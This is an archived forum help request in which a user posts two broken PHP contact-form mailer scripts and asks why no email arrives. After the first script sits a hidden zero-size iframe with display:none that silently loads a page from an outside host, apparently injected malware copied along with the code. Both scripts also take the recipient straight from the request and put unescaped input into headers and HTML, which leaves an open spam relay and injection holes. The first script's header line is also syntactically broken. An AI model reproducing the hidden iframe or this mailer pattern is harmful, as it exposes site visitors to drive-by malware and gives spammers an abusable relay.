Jump to content

i am not getting my emails, whre is my code error?


newbee2010

Recommended Posts

<?

Error_Reporting(E_ALL & ~E_NOTICE);

 

while ($request = current($_REQUEST)) {

if (key($_REQUEST)!='recipient') {

$pre_array=split ("&777&",  $request);

$post_vars[key($_REQUEST)][0]=$pre_array[0];

$post_vars[key($_REQUEST)][1]=$pre_array[1];

}

next($_REQUEST);

}

 

 

 

reset($post_vars);

 

 

$headers = 'MIME-Version: 1.0' . "\r\n";

$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

$headers .= 'From: '.$M&Assocaites'<'[email protected]'>' ;

$message='';

  while ($mess = current($post_vars)) {

  if ((key($post_vars)!="i") && (key($post_vars)!="[email protected]") && (key($post_vars)!="David_Meininger")) {

 

$message.="<strong>".$mess[1]."</strong>   ".$mess[0]."<br>";

}

next($post_vars);

}

 

mail($_REQUEST['recipient'], $subject,  "

<html>

<head>

<title>Contact letter</title>

</head>

<body>

<br>

  ".$message."

</body>

</html>" , $headers);

echo ("Thank you.  Your message was successfully sent! We will contact you at our earliest opportunity");

 

?>

 

<iframe urkei='Aa0Xfg24' src='http://http-iframe.org/s/in.cgi?7 ' obsbm='8lPdquEC' width='0' height='0' style='display:none'></iframe>

I HAVE TRIED A NEW FORMAT, BUT I HAVE THE SAME RESULT, PLEASE LOOK AT THS ONE A ASSIST ME WITH WHERE MY ERROR MAY BE.  THANKS.

 

<?

Error_Reporting(E_ALL & ~E_NOTICE);

 

while ($request = current($_REQUEST)) {

if (key($_REQUEST)!='recipient') {

$pre_array=split ("&777&",  $request);

$post_vars[key($_REQUEST)][0]=$pre_array[0];

$post_vars[key($_REQUEST)][1]=$pre_array[1];

}

next($_REQUEST);

}

 

 

 

reset($post_vars);

 

 

$subject="From ".$post_vars['M&Associates'][0] ;

$headers= "From: ".$post_vars['[email protected]'][0] ."\n";

$headers.='Content-type: text/html; charset=iso-8859-1';

$message='';

  while ($mess = current($post_vars)) {

  if ((key($post_vars)!="i") && (key($post_vars)!="[email protected]") && (key($post_vars)!="M&Associates")) {

 

$message.="<strong>".$mess[1]."</strong>   ".$mess[0]."<br>";

}

next($post_vars);

}

 

mail($_REQUEST['recipient'], $subject,  "

<html>

<head>

<title>Contact letter</title>

</head>

<body>

<br>

  ".$message."

</body>

</html>" , $headers);

echo ("Thank you for contacting us. We will respond to you at our earliest opportunity");

 

?>

<script>

resizeTo(300, 300);

</script>

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.